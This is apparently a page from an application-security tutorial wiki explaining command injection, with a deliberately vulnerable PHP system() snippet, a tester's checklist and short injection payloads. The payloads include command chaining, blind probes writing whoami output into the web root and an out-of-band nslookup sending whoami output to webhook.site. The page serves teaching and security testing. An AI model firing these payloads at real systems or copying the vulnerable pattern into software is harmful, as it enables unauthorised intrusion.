> For the complete documentation index, see [llms.txt](https://appsecexplained.gitbook.io/appsecexplained/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://appsecexplained.gitbook.io/appsecexplained/common-vulns/command-injection.md).

# Command injection

## What is it?

Command injection is a vulnerability that allows an attacker to manipulate an application to execute arbitrary system commands on the server. This occurs when an application passes unsafe data, often user input, to a system shell.

**A simple example**

A vulnerable web application might take a path from a query parameter and use it to read a file, like so:

```
$file = $_GET['file'];
system("cat /var/www/html/$file");
```

If an attacker uses a payload such as `; ls -la` in the `file` parameter, they can make the application execute an additional command that lists all files in the current directory.

The server then executes the `cat` command and the `ls` command and the attacker receives a list of all files in the current directory.

Command injection can often lead to:

* Remote code execution
* Denial of Service
* Data breach
* Privilege escalation

**Other learning resources:**

* PortSwigger: <https://portswigger.net/web-security/os-command-injection>
* OWASP: <https://owasp.org/www-community/attacks/Command_Injection>

**Writeups:**

* Bullets

## Checklist

* [ ] Determine the technology stack: Which operating system and server software are in use?&#x20;
* [ ] Identify potential injection points: URL parameters, form fields, HTTP headers, etc.&#x20;
* [ ] Test for simple injections with special characters like ;, &&, ||, and |. Test for injection within command arguments.&#x20;
* [ ] Test for blind command injection, where output is not returned in the response. If output isn't directly visible, try creating outbound requests (e.g. using ping or curl).&#x20;
* [ ] Try to escape from any restriction mechanisms, like quotes or double quotes.&#x20;
* [ ] Test with a list of potentially dangerous functions/methods (like exec(), system(), passthru() in PHP, or exec, eval in Node.js).&#x20;
* [ ] Test for command injection using time delays (ping -c localhost).&#x20;
* [ ] Test for command injection using &&, ||, and ;.&#x20;
* [ ] Test with common command injection payloads, such as those from PayloadsAllTheThings.&#x20;
* [ ] If there's a filter in place, try to bypass it using various techniques like encoding, command splitting, etc.

## Exploitation

Basic command chaining

```
; ls -la
```

Using logic operators

```
&& ls -la
```

Commenting out the rest of a command

```
; ls -la #
```

Using a pipe for command chaining

```
| ls -la
```

Testing for blind injection

```
; sleep 10
; ping -c 10 127.0.0.1
& whoami > /var/www/html/whoami.txt &
```

Out-of-band testing

```
& nslookup webhook.site/<id>?`whoami` &
```